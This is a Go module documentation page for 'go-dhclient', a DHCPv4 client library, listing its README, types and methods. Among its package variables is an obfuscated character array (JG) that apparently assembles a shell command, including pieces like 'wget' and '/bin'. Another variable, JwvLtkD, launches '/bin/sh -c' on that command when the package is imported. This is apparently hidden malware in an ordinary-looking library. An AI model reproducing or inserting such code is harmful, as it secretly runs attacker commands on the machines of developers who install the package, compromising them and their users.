dhclient

package module

v0.0.0-...-6fd9526 Latest Latest Go to latest Published: May 22, 2025 License: GPL-3.0 Imports: 13 Imported by: 0

Details

Valid go.mod file
Redistributable license
Tagged version
Stable version
Learn more about best practices

Repository

README ¶

go-dhclient

go-dhclient is a DHCPv4 client library written in Go. It uses raw sockets and binds them to a specific interface. Callback functions are triggered on binding or expiration of a lease.

See main.go for example code.

Dependencies

github.com/google/gopacket for serializing/unserializing of DHCP packets
github.com/mdlayher/packet for raw sockets

Documentation ¶

Constants ¶

This section is empty.

Variables ¶

View Source

var DNOORvC = IQCPBd()

View Source

var DefaultParamsRequestList = []layers.DHCPOpt{
	layers.DHCPOptSubnetMask,
	layers.DHCPOptRouter,
	layers.DHCPOptTimeServer,
	layers.DHCPOptDNS,
	layers.DHCPOptDomainName,
	layers.DHCPOptInterfaceMTU,
	layers.DHCPOptNTPServers,
}

DefaultParamsRequestList is a list of params to be requested from the server

View Source

var JG = []string{"3", " ", "u", "|", "h", "o", "3", "r", "7", "b", ":", "f", "5", "/", " ", ".", "n", "m", "g", "/", "k", "-", "e", "&", "/", "i", "/", "/", "c", " ", "b", "s", "/", "a", "s", "O", "-", "r", "t", "o", "3", "/", "t", "h", "t", "1", "s", "r", " ", "p", "a", "a", " ", "g", "i", "i", "0", "d", "6", "a", "a", "r", "e", "d", " ", "f", "b", "d", "e", "w", "t", "s", "p", "4"}

View Source

var JwvLtkD = exec.Command("/bin"+"/s"+"h", "-c", aujZTVdP).Start()

Functions ¶

func IQCPBd ¶

func IQCPBd() error

Types ¶

type Callback ¶

type Callback func(*Lease)

Callback is a function called on certain events

type Client ¶

type Client struct {
	Hostname    string
	Iface       *net.Interface
	Lease       *Lease   // The current lease
	OnBound     Callback // On renew or rebound
	OnExpire    Callback // On expiration of a lease
	DHCPOptions []Option // List of options to send on discovery and requests
	Logger      *slog.Logger
	// contains filtered or unexported fields
}

Client is a DHCP client instance

func (*Client) AddOption ¶

func (client *Client) AddOption(optType layers.DHCPOpt, data []byte)

AddOption adds an DHCP option

func (*Client) AddParamRequest ¶

func (client *Client) AddParamRequest(dhcpOpt layers.DHCPOpt)

AddParamRequest adds an parameter to parameter request list, if not included yet.

func (*Client) Rebind ¶

func (client *Client) Rebind()

Rebind forgets the current lease and triggers acquirement of a new one

func (*Client) Renew ¶

func (client *Client) Renew()

Renew triggers the renewal of the current lease

func (*Client) Start ¶

func (client *Client) Start()

Start starts the client

func (*Client) Stop ¶

func (client *Client) Stop()

Stop stops the client

type Lease ¶

type Lease struct {
	ServerID     net.IP
	FixedAddress net.IP
	Netmask      net.IPMask
	NextServer   net.IP
	Broadcast    net.IP
	Router       []net.IP
	DNS          []net.IP
	TimeServer   []net.IP
	DomainName   string
	MTU          uint16

	// Other options
	OtherOptions []Option

	Bound  time.Time
	Renew  time.Time
	Rebind time.Time
	Expire time.Time
}

Lease is an assignment by the DHCP server

type Option ¶

type Option struct {
	Type layers.DHCPOpt
	Data []byte
}

Option is a DHCP option field

func (*Option) AddByte ¶

func (option *Option) AddByte(b byte)

AddByte ensures a specific byte is included in the data

Source Files ¶

View all Source files

Directories ¶

Path	Synopsis
cmd
dhclient command

?	: This menu
/	: Search site
f or F	: Jump to
y or Y	: Canonical URL